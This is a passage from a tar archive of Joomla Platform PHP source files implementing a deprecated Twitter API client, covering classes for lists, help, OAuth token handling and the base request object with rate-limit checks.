return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to get the relationship of the authenticating user to the comma
separated list of up to 100 screen_names or user_ids provided.
*
* @param string $screenName A comma separated list of screen names,
up to 100 are allowed in a single request.
* @param string $id A comma separated list of user IDs, up to
100 are allowed in a single request.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getFriendshipsLookup($screenName = null, $id = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('friendships', 'lookup');
// Set user IDs and screen names.
if ($id)
{
$data['user_id'] = $id;
}
if ($screenName)
{
$data['screen_name'] = $screenName;
}
if ($id == null && $screenName == null)
{
// We don't have a valid entry
throw new RuntimeException('You must specify either a comma
separated list of screen names, user IDs, or a combination of the
two');
}
// Set the API path
$path = '/friendships/lookup.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Allows one to enable or disable retweets and device notifications from
the specified user.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param boolean $device Enable/disable device notifications from
the target user.
* @param boolean $retweets Enable/disable retweets from the target
user.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function updateFriendship($user, $device = null, $retweets = null)
{
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Check if device is specified.
if (!is_null($device))
{
$data['device'] = $device;
}
// Check if retweets is specified.
if (!is_null($retweets))
{
$data['retweets'] = $retweets;
}
// Set the API path
$path = '/friendships/update.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to get the user ids that currently authenticated user does not
want to see retweets from.
*
* @param boolean $stringIds Set to true to return IDs as strings,
false to return as integers.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getFriendshipNoRetweetIds($stringIds = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('friendships',
'no_retweets/ids');
$data = array();
// Check if string_ids is specified
if (!is_null($stringIds))
{
$data['stringify_ids'] = $stringIds;
}
// Set the API path
$path = '/friendships/no_retweets/ids.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
}
twitter/help.php000064400000002535151171674140007723 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Help class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterHelp extends JTwitterObject
{
/**
* Method to get the supported languages from the API.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getLanguages()
{
// Check the rate limit for remaining hits
$this->checkRateLimit('help', 'languages');
// Set the API path
$path = '/help/languages.json';
// Send the request.
return $this->sendRequest($path);
}
/**
* Method to get the current configuration used by Twitter including
twitter.com slugs which are not usernames,
* maximum photo resolutions, and t.co URL lengths.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getConfiguration()
{
// Check the rate limit for remaining hits
$this->checkRateLimit('help', 'configuration');
// Set the API path
$path = '/help/configuration.json';
// Send the request.
return $this->sendRequest($path);
}
}
twitter/lists.php000064400000066450151171674140010137 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Lists class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterLists extends JTwitterObject
{
/**
* Method to get all lists the authenticating or specified user subscribes
to, including their own.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the screen name.
* @param boolean $reverse Set this to true if you would like owned
lists to be returned first. See description
* above for information on how this parameter works.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getLists($user, $reverse = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'list');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Check if reverse is specified.
if (!is_null($reverse))
{
$data['reverse'] = $reverse;
}
// Set the API path
$path = '/lists/list.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get tweet timeline for members of the specified list
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name.
* @param integer $sinceId Returns results with an ID greater than
(that is, more recent than) the specified ID.
* @param integer $maxId Returns results with an ID less than
(that is, older than) or equal to the specified ID.
* @param integer $count Specifies the number of results to
retrieve per "page."
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities". This node offers a
variety
* of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $includeRts When set to either true, t or 1, the
list timeline will contain native retweets (if they exist) in addition
* to the standard stream of tweets.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getStatuses($list, $owner = null, $sinceId = 0, $maxId =
0, $count = 0, $entities = null, $includeRts = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'statuses');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/statuses.json';
// Check if since_id is specified
if ($sinceId > 0)
{
$data['since_id'] = $sinceId;
}
// Check if max_id is specified
if ($maxId > 0)
{
$data['max_id'] = $maxId;
}
// Check if count is specified
if ($count > 0)
{
$data['count'] = $count;
}
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if include_rts is specified
if (!is_null($includeRts))
{
$data['include_rts'] = $includeRts;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get the subscribers of the specified list.
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name.
* @param integer $cursor Breaks the results into pages. A single
page contains 20 lists. Provide a value of -1 to begin paging.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities". This node offers a
variety
* of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getSubscribers($list, $owner = null, $cursor = null,
$entities = null, $skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'subscribers');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/subscribers.json';
// Check if cursor is specified
if (!is_null($cursor))
{
$data['cursor'] = $cursor;
}
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to remove multiple members from a list, by specifying a
comma-separated list of member ids or screen names.
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param string $userId A comma separated list of user IDs, up to
100 are allowed in a single request.
* @param string $screenName A comma separated list of screen names,
up to 100 are allowed in a single request.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name of the owner.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function deleteMembers($list, $userId = null, $screenName = null,
$owner = null)
{
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username for owner is
not in the correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
if ($userId)
{
$data['user_id'] = $userId;
}
if ($screenName)
{
$data['screen_name'] = $screenName;
}
if ($userId == null && $screenName == null)
{
// We don't have a valid entry
throw new RuntimeException('You must specify either a comma
separated list of screen names, user IDs, or a combination of the
two');
}
// Set the API path
$path = '/lists/members/destroy_all.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to subscribe the authenticated user to the specified list.
*
* @param mixed $list Either an integer containing the list ID or a
string containing the list slug.
* @param mixed $owner Either an integer containing the user ID or a
string containing the screen name of the owner.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function subscribe($list, $owner = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists',
'subscribers/create');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username for owner is
not in the correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/subscribers/create.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to check if the specified user is a member of the specified
list.
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name of the user to remove.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name of the owner.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities". This node offers a
* variety of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function isMember($list, $user, $owner = null, $entities = null,
$skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'members/show');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/members/show.json';
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to check if the specified user is a subscriber of the specified
list.
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name of the user to remove.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name of the owner.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities". This node offers a
* variety of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function isSubscriber($list, $user, $owner = null, $entities =
null, $skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists',
'subscribers/show');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/subscribers/show.json';
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to unsubscribe the authenticated user from the specified list.
*
* @param mixed $list Either an integer containing the list ID or a
string containing the list slug.
* @param mixed $owner Either an integer containing the user ID or a
string containing the screen name of the owner.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function unsubscribe($list, $owner = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists',
'subscribers/destroy');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/subscribers/destroy.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to add multiple members to a list, by specifying a
comma-separated list of member ids or screen names.
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param string $userId A comma separated list of user IDs, up to
100 are allowed in a single request.
* @param string $screenName A comma separated list of screen names,
up to 100 are allowed in a single request.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name of the owner.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function addMembers($list, $userId = null, $screenName = null,
$owner = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists',
'members/create_all');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
if ($userId)
{
$data['user_id'] = $userId;
}
if ($screenName)
{
$data['screen_name'] = $screenName;
}
if ($userId == null && $screenName == null)
{
// We don't have a valid entry
throw new RuntimeException('You must specify either a comma
separated list of screen names, user IDs, or a combination of the
two');
}
// Set the API path
$path = '/lists/members/create_all.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to get the members of the specified list.
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities". This node offers a
variety
* of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getMembers($list, $owner = null, $entities = null,
$skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'members');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/members.json';
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get the specified list.
*
* @param mixed $list Either an integer containing the list ID or a
string containing the list slug.
* @param mixed $owner Either an integer containing the user ID or a
string containing the screen name.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getListById($list, $owner = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'show');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/show.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get a collection of the lists the specified user is
subscribed to, 20 lists per page by default. Does not include the
user's own lists.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the screen name.
* @param integer $count The amount of results to return per page.
Defaults to 20. Maximum of 1,000 when using cursors.
* @param integer $cursor Breaks the results into pages. Provide a
value of -1 to begin paging.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getSubscriptions($user, $count = 0, $cursor = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'subscriptions');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Check if cursor is specified.
if (!is_null($cursor))
{
$data['cursor'] = $cursor;
}
// Set the API path
$path = '/lists/subscriptions.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to update the specified list
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name of the owner.
* @param string $name The name of the list.
* @param string $mode Whether your list is public or private.
Values can be public or private. If no mode is
* specified the list will be public.
* @param string $description The description to give the list.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function update($list, $owner = null, $name = null, $mode = null,
$description = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'update');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Check if name is specified.
if ($name)
{
$data['name'] = $name;
}
// Check if mode is specified.
if ($mode)
{
$data['mode'] = $mode;
}
// Check if description is specified.
if ($description)
{
$data['description'] = $description;
}
// Set the API path
$path = '/lists/update.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to create a new list for the authenticated user.
*
* @param string $name The name of the list.
* @param string $mode Whether your list is public or private.
Values can be public or private. If no mode is
* specified the list will be public.
* @param string $description The description to give the list.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function create($name, $mode = null, $description = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'create');
// Check if name is specified.
if ($name)
{
$data['name'] = $name;
}
// Check if mode is specified.
if ($mode)
{
$data['mode'] = $mode;
}
// Check if description is specified.
if ($description)
{
$data['description'] = $description;
}
// Set the API path
$path = '/lists/create.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to delete a specified list.
*
* @param mixed $list Either an integer containing the list ID or a
string containing the list slug.
* @param mixed $owner Either an integer containing the user ID or a
string containing the screen name of the owner.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function delete($list, $owner = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'destroy');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username for owner is
not in the correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/destroy.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
}
twitter/oauth.php000064400000006556151171674140010122 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Joomla Platform class for generating Twitter API access token.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterOAuth extends JOAuth1Client
{
/**
* @var Registry Options for the JTwitterOauth object.
* @since 3.1.4
*/
protected $options;
/**
* Constructor.
*
* @param Registry $options JTwitterOauth options object.
* @param JHttp $client The HTTP client object.
* @param JInput $input The input object.
* @param JApplicationWeb $application The application object.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JHttp $client =
null, JInput $input = null, JApplicationWeb $application = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->options->def('accessTokenURL',
'https://api.twitter.com/oauth/access_token');
$this->options->def('authenticateURL',
'https://api.twitter.com/oauth/authenticate');
$this->options->def('authoriseURL',
'https://api.twitter.com/oauth/authorize');
$this->options->def('requestTokenURL',
'https://api.twitter.com/oauth/request_token');
// Call the JOAuth1Client constructor to setup the object.
parent::__construct($this->options, $client, $input, $application);
}
/**
* Method to verify if the access token is valid by making a request.
*
* @return boolean Returns true if the access token is valid and false
otherwise.
*
* @since 3.1.4
*/
public function verifyCredentials()
{
$token = $this->getToken();
// Set the parameters.
$parameters = array('oauth_token' =>
$token['key']);
// Set the API base
$path =
'https://api.twitter.com/1.1/account/verify_credentials.json';
// Send the request.
$response = $this->oauthRequest($path, 'GET', $parameters);
// Verify response
if ($response->code == 200)
{
return true;
}
else
{
return false;
}
}
/**
* Ends the session of the authenticating user, returning a null cookie.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function endSession()
{
$token = $this->getToken();
// Set parameters.
$parameters = array('oauth_token' =>
$token['key']);
// Set the API base
$path = 'https://api.twitter.com/1.1/account/end_session.json';
// Send the request.
$response = $this->oauthRequest($path, 'POST', $parameters);
return json_decode($response->body);
}
/**
* Method to validate a response.
*
* @param string $url The request URL.
* @param JHttpResponse $response The response to validate.
*
* @return void
*
* @since 3.1.4
* @throws DomainException
*/
public function validateResponse($url, $response)
{
if (strpos($url, 'verify_credentials') === false &&
$response->code != 200)
{
$error = json_decode($response->body);
if (property_exists($error, 'error'))
{
throw new DomainException($error->error);
}
else
{
$error = $error->errors;
throw new DomainException($error[0]->message, $error[0]->code);
}
}
}
}
twitter/object.php000064400000013502151171674140010235 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Twitter API object class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
abstract class JTwitterObject
{
/**
* @var Registry Options for the Twitter object.
* @since 3.1.4
*/
protected $options;
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.1.4
*/
protected $client;
/**
* @var JTwitterOAuth The OAuth client.
* @since 3.1.4
*/
protected $oauth;
/**
* Constructor.
*
* @param Registry &$options Twitter options object.
* @param JHttp $client The HTTP client object.
* @param JTwitterOAuth $oauth The OAuth client.
*
* @since 3.1.4
*/
public function __construct(Registry &$options = null, JHttp $client =
null, JTwitterOAuth $oauth = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
$this->oauth = $oauth;
}
/**
* Method to check the rate limit for the requesting IP address
*
* @param string $resource A resource or a comma-separated list of
resource families you want to know the current rate limit disposition for.
* @param string $action An action for the specified resource, if
only one resource is specified.
*
* @return void
*
* @since 3.1.4
* @throws RuntimeException
*/
public function checkRateLimit($resource = null, $action = null)
{
// Check the rate limit for remaining hits
$rate_limit = $this->getRateLimit($resource);
$property = '/' . $resource;
if (!is_null($action))
{
$property .= '/' . $action;
}
if ($rate_limit->resources->$resource->$property->remaining
== 0)
{
// The IP has exceeded the Twitter API rate limit
throw new RuntimeException('This server has exceed the Twitter API
rate limit for the given period. The limit will reset at '
. $rate_limit->resources->$resource->$property->reset
);
}
}
/**
* Method to build and return a full request URL for the request. This
method will
* add appropriate pagination details if necessary and also prepend the
API url
* to have a complete URL for the request.
*
* @param string $path URL to inflect
* @param array $parameters The parameters passed in the URL.
*
* @return string The request URL.
*
* @since 3.1.4
*/
public function fetchUrl($path, $parameters = null)
{
if ($parameters)
{
foreach ($parameters as $key => $value)
{
if (strpos($path, '?') === false)
{
$path .= '?' . $key . '=' . $value;
}
else
{
$path .= '&' . $key . '=' . $value;
}
}
}
// Get a new JUri object focusing the api url and given path.
if (strpos($path, 'http://search.twitter.com/search.json') ===
false)
{
$uri = new JUri($this->options->get('api.url') . $path);
}
else
{
$uri = new JUri($path);
}
return (string) $uri;
}
/**
* Method to retrieve the rate limit for the requesting IP address
*
* @param string $resource A resource or a comma-separated list of
resource families you want to know the current rate limit disposition for.
*
* @return array The JSON response decoded
*
* @since 3.1.4
*/
public function getRateLimit($resource)
{
// Build the request path.
$path = '/application/rate_limit_status.json';
if (!is_null($resource))
{
return $this->sendRequest($path, 'GET',
array('resources' => $resource));
}
return $this->sendRequest($path);
}
/**
* Method to send the request.
*
* @param string $path The path of the request to make
* @param string $method The request method.
* @param mixed $data Either an associative array or a string to
be sent with the post request.
* @param array $headers An array of name-value pairs to include in
the header of the request
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function sendRequest($path, $method = 'GET', $data =
array(), $headers = array())
{
// Get the access token.
$token = $this->oauth->getToken();
// Set parameters.
$parameters['oauth_token'] = $token['key'];
// Send the request.
$response = $this->oauth->oauthRequest($this->fetchUrl($path),
$method, $parameters, $data, $headers);
if (strpos($path, 'update_with_media') !== false)
{
// Check Media Rate Limit.
$response_headers = $response->headers;
if ($response_headers['x-mediaratelimit-remaining'] == 0)
{
// The IP has exceeded the Twitter API media rate limit
throw new RuntimeException('This server has exceed the Twitter API
media rate limit for the given period. The limit will reset in '
. $response_headers['x-mediaratelimit-reset'] .
'seconds.'
);
}
}
if (strpos($response->body, 'redirected') !== false)
{
return $response->headers['Location'];
}
return json_decode($response->body);
}
/**
* Get an option from the JTwitterObject instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JTwitterObject instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JTwitterObject This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
twitter/places.php000064400000020745151171674140010245 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Places & Geo class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterPlaces extends JTwitterObject
{
/**
